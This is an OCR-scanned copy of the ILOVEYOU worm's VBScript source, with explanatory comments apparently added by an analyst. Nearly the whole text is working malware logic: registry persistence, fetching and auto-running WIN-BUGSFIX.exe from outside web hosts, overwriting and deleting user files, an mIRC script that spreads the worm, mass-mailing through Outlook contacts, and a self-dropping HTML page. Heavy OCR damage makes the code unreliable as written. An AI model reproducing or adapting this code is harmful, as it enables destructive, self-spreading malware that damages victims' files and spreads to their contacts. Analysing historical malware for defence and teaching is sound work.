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Source Code to the ILOVEYOU Worm

rem barok -loveletter(vbe) <i hate go to school >
rem by: spyder / ispyder@umail.com / @RAMERSoft Goup / Manila, Philippines

rem | NVGKI NG SCR PT

rem

remEffect: Save this in menmory and run main
rem

On Error Resune Next
dimfso,dirsystemdirwn,dirtenp,eq,ctr,file, vbscopy, dow
rem

eq=""

ctr=0

rem

remput the contents of this script into vbscopy for later use
rem

Set fso = Oreatehject("Scripting.FileSystenthject")

set file = fso. QpenText Fi | e(Wscri pt. Scri pt Ful | name, 1)
vbscopy=fi | e. ReadAl |

mai n()

remnain

rem

remEffect: do invokes the relevant routines after setup
rem

sub nai n()

On Error Resune Next

di mwscr, rr

rem

remset the tineout to O

rem

set wscr=CreateChj ect ("Wacri pt. Shel I ™)

rr=wscr. RegRead(" HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \Wndows Scri pting Host\Settings\ Ti ne-
out")

if (rr>=1) then

wscr. RegWite "HKEY _CURRENT_USER Sof t war e\ M cr osof t\ Wndows Scripting Host\ Settings\ Ti ne-
out", 0, "REG DWRD'

end if

rem

remset dirwin to root folder of Wndows; copy this script into

rem MBKer nel 32. vbs and LOVE- LETTER FOR- YOU. TXT.vbs in this directory

remset dirsystemto Wndows systemfolder; copy this script into

rem Wn32DLL. vbs inthat directory

remset dirtenp to Wndows fol der used for tenp files

rem

Set dirwin = fso. Get Speci al Fol der (0)

Set dirsystem = fso. Get Speci al Fol der (1)

Set dirtenp = fso. Get Speci al Fol der (2)

Set ¢ = fso.GetFile(Wscript. Scri pt Ful | Nane)

c. Copy(di rsyst en&"'\ MBKer nel 32. vbs")

c. Copy(di rwi n&'\ Wn32DLL. vbs")

c. Copy(di rsyst en&"'\ LOVE- LETTER FOR- YQOU. TXT. vbs")

rem

rem go!
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rem
regruns()

htm ()

spreadt oenai | ()
listadriv()

end sub

remregruns
rem

remEfect: If WnFAT32. exe exists in the systemdirectory, attenpt to

rem downl oad the program WN BUGSFI X. exe into the | E downl oad directory.
rem On success, set the |E start page to a bl ank screen (about: bl ank)
rem

sub regruns()

On Error Resune Next

D m num downr ead

rem

rem Set the fol | owi ng keys:

rem HKEY_LOCAL NACH NE\ Sof t war e\ M cr osof t \ Wndows\ Qur r ent Ver si on\ Run\ MsKer nel 32

rem to <di rsyst en»\ MBKer nel 32. vbs

rem HKEY_LQOCAL_NMACH NE\ Sof t war e\ M cr osof t \ W ndows\ Qur r ent Ver si on\ RunSer vi ces\ Wn32DLL

rem to <di rwi n>\ Wn32DLL. vbs

rem

regcreate "HKEY_LOCAL_MACH NR\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ MsKer nel 32", dir -
syst en®&'\ MBKer nel 32. vbs"

regcreate "HKEY _LOCAL MACH NEB\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer -
vi ces\ Wn32DLL", di rwi n&'\ Wn32CLL. vbs"

rem

remCet the directory into which I E downl oads stuff; use c:\ if not set

rem

downr ead=""

downr ead=r egget (" HKEY_CURRENT_USER Sof t war e\ M crosof t\ I nt er net Expl or er\ Downl oad Directory")

if (downread="") then

downread="c:\"

end if

rem

rem|f <dirsystenr\ WnFAT32. exe does not exist, pick a random page

remto get it fromand downl oad it

rem
if (fileexist(dirsysten&'\ WnFAT32. exe")=1) then
Randomi ze

num= Int((4 * Rnd) + 1)
if num= 1 then
regcreate "HKOWM Sof tware\ M crosoft\Internet Expl orer\Min\Start Page","http://vww: skyi -
net . net / ~youngls/ HIKhj nwer hj kxcvyt wer t nM'Fwet r dsf nhPnj w6587345gvsdf 7679nj bvYT/ W N-
BUGSFI X. exe"
elseif num= 2 then
regcreate "HKCW Sof tware\ M crosoft\ I nternet Expl orer\Min\Start Page","http://ww skyi -
net . net/ ~angel cat/
skl adj f1fdj ghKInwet r yDGi kj U ygwer W546786324hj k4j nHHGvbnKLIK] hkqgj 4w W N- BUGSFI X. exe"
el seif num= 3 then
regcreate "HKOWU Sof tware\ M crosof t\Internet Explorer\Min\Start Page","http://ww skyi -
net . net/ ~koi chi /j f 6TR kchGRpCGyaq198vbFV5hf FEkbopBdQZnnPChf gER67b3Vhvg/ W N- BUGSFI X. exe"
elseif num= 4 then
regcreate "HKCU Sof tware\ M crosoft\ I nternet Expl orer\Min\Start Page","http://ww: skyi -
net . net/ ~chu/ sdgf hj ksdf j kIl NBrmf gkKLH kqwt uHIBhAFSDG khYUggwer asdj hPhj asf dg-
| kNBhbgwebnznxcbvnnadshf gqw237461234i uy7t hj g/ W N- BUGSFI X. exe"
end if
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end if

rem

reml|f the payload is there, set the keys:

rem HKEY_LQOCAL_NMACH NE\ Sof t war e\ M cr osof t \ W ndows\ Qur r ent Ver si on\ Run\ W N- BUGSFI X

rem t o <l Edownl oaddi r orc:\ >\ WN BUGSFI X exe

remand set the startup page for IE to be bl ank

rem

if (fileexist(dowread&'\ WN BUGSFI X. exe")=0) then

regcreate "HKEY _LOCAL MACH NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ W N- BUGS-
FI X', downr ead&"\ W N- BUGSFI X. exe"

regcreat e "HKEY_CURRENT_USER Sof twar e\ M crosof t\ I nternet Expl orer\Main\ Start
Page", "about : bl ank"

end if

end sub

remlistadriv

rem

remEffect: infect all folders, files that qualify for infection
rem

sub listadriv
On Error Resune Next

Dmd,dc,s

rem

remget the systemdrives
rem

Set dc = fso.Drives

rem

remlIf the drive is remote (3) or fixed (2),
remcall infectfiles on each folder in the tree
rem

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&\")

end if

Next

remno idea what this does; listadriv is a sub, not
rema function, and s is uninitialized!
listadriv = s

end sub

FBIM = == = m o m e e e e o oo

reminfectfiles

rem

remEffect: (1) create copies of this thing:

rem * overwite vbe, vbs files

rem * delete js, jse, css, wsh, sct, ha

rem files, put copies in files with sane base nane
rem and vbs extension

rem * delete jpg, jpeg files, put copies in files
rem with same name and vbs extension

rem * mp2, np3 files, put copies in files with same
rem nane and vbs extension, and hide original files
rem (2) create/insert a Trojan horse to be invoked when
rem IRCis run; this seens to send the wormon all
rem channel s when you i nvoke | RC

rem

S e

sub infectfiles(folderspec)
On Error Resune Next
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dimf,f1,fc,ext, ap, nrcfnare, s, bnane, mp3
rem

remget the files in the fol der

rem

set f = fso. Get Fol der (f ol der spec)

set fc =f.Files

rem

remloop through the files

rem

for each f1in fc

rem

remget the file name (s) and the extension (ext)
rem

ext =f so. Get Ext ensi onNae( f 1. pat h)

ext =l case(ext)

s=| case(f 1. nane)

rem
remwhat it does depends upon the file extension
rem

if (ext="vbs") or (ext="vbe") then

rem it's visual basic

rem wite the contents of Wacript. Scriptfullnane into the file
rem (overwites what is there)

set ap=fso. QpenText Fi | e(f1. path, 2, true)

ap.wite vbscopy

ap. cl ose

el seif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta")
t hen

rem it's a web-based | anguage (javascript, cascading style sheet, etc.)

rem wite the contents of Wecript. Scriptfullname into a file naned
rem the same but with a "vbs" extension; the original file is deleted
set ap=fso. penTextFil e(f1l.path, 2,true)

ap.wite vbscopy

ap. cl ose

bname=f so. Get BaseNane( f 1. pat h)

set cop=fso. GetFile(f1. path)

cop. copy(f ol der spec&'\ " &name&". vbs")

fso. Del eteFil e(f1. path)

el seif(ext="jpg") or (ext="jpeg") then

rem it's a jpeg (picture) file

rem wite the contents of Wacript. Scriptfullnane into a file naned
rem the same but with a "vbs" extension (delete the original file)
set ap=fso. penTextFil e(f 1. path, 2,true)

ap.wite vbscopy

ap. cl ose

set cop=fso. GetFile(fl. path)

cop. copy(f 1. pat h&'. vbs")

fso. Del eteFi | e(f1. pat h)

el sei f (ext="np3") or (ext="np2") then

rem it's an npeg (novie) file

rem put the contents of Wecript.Scriptfullnane into a file with the
rem sane path nanme but with a "vbs" extension

set np3=fso. OeateTextFile(fl. path&'.vbs")

np3. wite vbscopy

np3. cl ose

rem this looks like it's trying to hide the file

rem attribute O is normal, 2 is hidden

rem if the file's attribute is not nornal, the resulting

rem attribute seens to be neani ngl ess
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set att=fso.CGetFile(fl.path)
att.attributes=att.attributes+2

end if
rem

remNow go for IRC this is done once per folder

rem

if (eg<>folderspec) then

if (s="mrc32.exe") or (s="mink32.exe") or (s="mrc.ini") or (s="script.ini") or
(s="mirc.hlp") then

if the folder contains any of these,

set a Trojan to trigger when M RC i s next invoked

rem
rem

set scriptini=fso. OreateTextFile(folderspec&'\script.ini")
rem this script seens to send the wormfil e whenever
rem you join an | RC channel

scriptini.WiteLine "[script]"

scriptini.WiteLine ";mRC Script"

if MRCwII"

scriptini.WiteLine "; Please dont edit this script... MRCwll corrupt,

scriptini.WiteLine
scriptini.WiteLine ";
scriptini.WiteLine ";Khal ed Mar dam Bey"
scriptini.WiteLine ";http://ww mrc.cont
scriptini.WiteLine ";"

scriptini.WiteLine "nO=on 1: JON #: {"
scriptini.WiteLine "nl= /if ( $nick == $me ) { halt }"

corrupt... WNDOAS will affect and will not run correctly. thanks"

scriptini.WiteLine "n2= /.dcc send $nick "&dirsysten&'\ LOVE- LETTER FOR YQU. HTM

scriptini.WiteLine "n3=}"
scriptini.close
eq=f ol der spec

end if

end if

next

end sub

remfolderlist

rem

remEffect: Recurse throughout all subfol ders
rem

sub folderlist(folderspec)
On Error Resune Next

dimf,f1,sf

rem

rem CGet the subfolders in this fol der
rem

set f = fso. Get Fol der (f ol der spec)

set sf = f.SubFol ders

rem

remcall infectfiles on each subfol der and recurse
rem

for each f1 in sf

infectfil es(fl. path)

folderlist(fl. path)

next

end sub

remregcreate

rem

remEfect: Change a key in the registry
rem
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sub regcreat e(regkey, regval ue)

Set regedit = Oeateoject("Wscript. Shell")
regedit. RegWite regkey, regval ue

end sub

rem r egget

rem

remEfect: Return the value of a key in the registry
rem

function regget (val ue)

Set regedit = OreateChject("Wscript. Shell")
regget =r egedi t . RegRead( val ue)

end function

remfil eexist

rem

remEfect: Return O if the file exists, 1 if not
rem

function fileexist(filespec)

On Error Resune Next

di m nsg

if (fso.FileExists(filespec)) Then
nmsg = 0

el se

msg = 1

end if

fileexist = msg

end function

I R LT TR
rem f ol der exi st

rem

remEfect: Return O if the folder exists, 1 if not
rem ??? bogosity -- look at the return statenent

rem ??? al so, nethod Cet Fol der Exi sts doesn't exi st

function fol derexi st (fol der spec)

On Error Resune Next

di m nsg

if (fso.Get Fol der Exi st s(fol derspec)) then
nsg = 0

el se

msg = 1

end if

fileexist = msg

end function

rem spr eadt oenai |

rem

remEffect: send everyone on this user's address book

rem a copy of the wormas an attachrment to a letter

rem with the subject: "ILOVEYQU' and the body:

rem "kindly check the attached LOVELETTER coning fromne."

sub spreadt oenail ()
On Error Resune Next
dimx,a,ctrlists,ctrentries, nal ead, b, regedi t, regv, regad
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rem
remaccess Qutl ook and get the address lists

rem

set regedit=0eateChj ect("Wecript. Shell")

set out =W&cri pt . O eat eChj ect (" Qut | ook. Appl i cati on")

set mapi =out . Get NaneSpace(" VAPl ")

rem

remiterate over the address lists

rem

for ctrlists=1 to mapi.AddressLi sts. Count

rem get this address |ist

set a=mapi . AddressLists(ctrlists)

x=1

rem see if there is a correspondi ng wi ndows address book
regv=regedi t. RegRead(" HKEY_CURRENT USER Sof t war e\ M cr osof t \ WAB\ " &a)
if (regv="") then

regv=l

end if

rem if there are entries init, loop through them

if (int(a. AddressEntries. Count)>int(regv)) then

for ctrentries=1 to a. AddressEntri es. Count

rem get the entry and see if there is areg key with their

rem name in the WAB

mal ead=a. Addr essEnt ri es(x)

regad=""

regad=r egedi t . RegRead( " HKEY_CURRENT_USER\ Sof t war e\ M cr osof t \ WAB\ " &nal ead)
rem nope -- create a letter and send it out

rem the wormis an attachnent

if (regad="") then

set nal e=out. O eat el t en( 0)

nmal e. Reci pi ent s. Add( mal ead)

mal e. Subj ect = "1 LOVEYQU'

nmal e. Body = vbecrl f&'kindly check the attached LOVELETTER comng fromne. "

nmal e. Att achnment s. Add( di r syst en®&'\ LOVE- LETTER- FOR- YOU. TXT. vbs")

mal e. Send

rem now create the key

regedit. RegWite "HKEY_CURRENT_USER Sof t war e\ M cr osof t \ WAB\ " &nal ead, 1, " REG DWORD'
end if

rem go on to next address

X=X+1

next

rem now put the nunber of entries into the registry key

regedit. RegWite "HKEY_CURRENT_USER Sof t war e\ M cr osof t \ WAB\ " &a, a. Addr essEnt ri es. Count
el se

rem key al ready exi sts;

rem put the nunber of entries into the registry key

regedit. RegWite "HKEY_CURRENT_USER Sof t war e\ M crosof t \ WAB\ " &a, a. Addr essEnt ri es. Count
end if

next

rem

rem cl obber the objects

rem

Set out =Not hi ng

Set nmapi =Not hi ng

end sub

rem
remEfect: build a web page which, when invoked, wll
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rem create this little nasty and run it

rem it's put into the web page naned
rem <di r sys>\ LOVE- LETTER FCR YQU. HTM
R e
sub ht m

O Error Resune Next

dimlines,n,dtal, dta2,dt1,dt2,dt3,dt4,11,dt5,dt6

rem

remthis part is the HTM. header that invokes a Java script to

remcreate a window, what follows is a variable to hold the (nodified)

remformof this script

rem

dt al=" <HTM.><HEAD><TI| TLESLOVELETTER - HTM.<?- ?Tl TLES<META NAME=@ @=ner at or @ @ CONTENT=@
@BARXK VBS - LOVELETTER@ @" &vberl f & _

"<META NAME=@ @Wut hor @ @ CONTENT=@ @pyder ?-? i spyder @il .com ?-? @RAMMERSoft QG oup ?-?
Mani | a, Philippines ?-? March 2000@ @" &bcrl f& _

"<META NAME=@ @escri pti on@ @ CONTENT=@ @i npl e but i think this is good... @@" &bcrlf& _

" <?- ?HEAD><BCDY ONMOUSECQUT=@ @\ ndow. nane=#- #nai n#- #; Wi ndow. open( #- #LOVE- LETTER- FOR- YQU. HTM#-
#, #-#mai n#-#) @ @" &ber | f & _

" ONKEYDOME@ @M ndow. nane=#- #nai n#- #; wi ndow. open( #- #LOVE- LETTER- FOR YQOU. HTM#- #, #- #mai n#-#) @ @
BGPRCPERTI ES=@ @i xed@ @ BAOOLCR=@ @FF9933@ @" &bcrl f& _

"<CENTER><p>This HTM. file need ActiveX Control <?-?p><p>To Enable to read this HTM. fil e<BR>-
Pl ease press #-#YESH-# button to Enabl e ActiveX<?-?p>"&bcrlfé& _

" <?- ?2CENTER><VARQUEE LOCP=@ @nfi nite@ @BAOOLCR=@ @el | ow@® @---------- Zomm e
Z--mmmm e <?-?MARQUEE> "&vbcrl f&

" <?- ?7BODY><?- 2HTM.>" &vber | f & _

"<SCR PT | anguage=@ @Scri pt @ @" &berl f&

"<l--2-27-?"&ber | f& _

"if (w ndow screen){var w =screen. avai | Wdt h; var hi =screen. avai | Hei ght ; wi n-
dow moveTo( 0, 0) ; wi ndow. resi zeTo(wi , hi);}"&bcrl f& _

"2-72?2-?2-->"&berl f&

"<?-?SCRI PT>"&vber f &

"<SCR PT LANGUACE=@ @/BScri pt @ @" &berl f& _

"<I--"&bcrlf& _

"on error resune next"&bcrlf& _

"dimfso, dirsystemwi, code, code2, code3, code4, aw, regdi t"&bcrl f& _

"aw=1"&vberl f&

"code="

rem

remthis part is the visual basic script that decodes the encoded

remscript and runs it, when invoked by ie; it's appended to the

rem encoded part and put into the page

rem

dt a2="set fso=Createhject(@@cripting.FileSystenthject@@"&bcrlf& _

"set dirsysten¥fso. Get Speci al Fol der (1) "&berl f& _

"code2=r epl ace( code, chr (91) &hr (45) &hr (91), chr(39))"&bcrlf& _

"code3=r epl ace( code2, chr (93) &hr (45) &hr (93), chr(34))"&bcrl f& _

"coded=r epl ace( code3, chr (37) &hr (45) &hr (37), chr(92))"&bcrl f& _

"set wi=fso.reateTextFile(dirsystem&@® @-"NMsKernel 32. vbs@ @ " &bcrl f& _

"wi.wite code4"&bcrlf& _

"wi.close"&hbcrlf& _

"if (fso.FileExists(dirsysten&@ @-"NMKernel 32. vbs@ @) then"&bcrlfé& _

"if (err.nunber=424) then"&bcrlf& _

"aw=0" &berl f& _

"end i f"&bcrlf&

"if (awsl) then"&bcrlf& _

"docunent. wite @@RROR can#-#t initialize ActiveX@ @&vbcrlf& _

"wi ndow. cl ose" &bcrl f& _

"end if"&bcrlf& _
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"end if"&berlf& _

"Set regedit = OeateChject(@@Bcript.Shell @@"&berlf& _

"regedit. RegWite @ @KEY_LOCAL MACH NEM-~Sof t war eM- M cr osof t - AW ndows”- ~Qur r ent Ver si on-
ARun”-~"MBKer nel 32@ @ di r syst en&@ @- “NVBKer nel 32. vbs@ @ &bcrl f& _

"2-2?2-7-->"&berl f& _

" <?- ?SCRI PT>"
dt 1=r epl ace(dt al, chr (35) &hr (45) &hr(35),""' ")
dt 1=repl ace(dt 1, chr (64) &hr (45) &hr (64),"""")

dt 4=r epl ace(dt 1, chr (63) &hr (45) &hr (63),"/")

dt 5=r epl ace(dt 4, chr (94) &hr (45) &hr (94),"\")

dt 2=r epl ace(dt a2, chr (35) &hr (45) &hr(35),""'")

dt 2=r epl ace(dt 2, chr (64) &hr (45) &hr (64),"""")

dt 3=r epl ace(dt 2, chr (63) &hr (45) &hr (63),"/")

dt 6=r epl ace(dt 3, chr (94) &hr (45) &hr (94),"\")
rem

rem pen this script

rem

set fso=CreateChject("Scripting. FileSystenthject")
set c=fso. QpenText Fi | e(Wscri pt. Scri pt Ful | Narre, 1)

rem
rem Read contents in and break it into |ines
rem 11 is the nunber of |ines

rem

lines=Split(c. ReadAl |, vberlf)
| 1=ubound( | i nes)
for n=0 to ubound(!ines)

rem map: ' to [-[, " ]-], and \ to %%

l'i nes(n)=replace(lines(n),""", chr(91)+chr(45)+chr(91))
l'i nes(n)=repl ace(lines(n),"""", chr(93)+chr (45)+chr(93))
l'i nes(n)=repl ace(lines(n),"\", chr(37)+chr(45)+chr(37))
rem put " ... " around lines, and append &bcrlf& _ to all
rem but the last line

if (11=n) then

I'i nes(n)=chr(34)+l i nes(n)+chr(34)

el se

I'i nes(n)=chr(34)+lines(n)+chr(34) & &bcrlf& _"

end if

next

rem Oreate <dirsys>\ LOVE- LETTER FOR YQU. HTM and open it for
remwiting; then put the nodified script intoit with the
rem HTM. header and trailer

rem
set b=fso. OreateTextFile(dirsystem"\ LOVE- LETTER FOR YQU. HTM')
b. cl ose

set d=fso. QpenText Fi | e(dirsyst em+"\ LOVE- LETTER FCR- YOU. HTM', 2)
dwite dt5

d.wite join(lines,vberlf)
d.wite vberlf

dwite dt6

d. cl ose

end sub



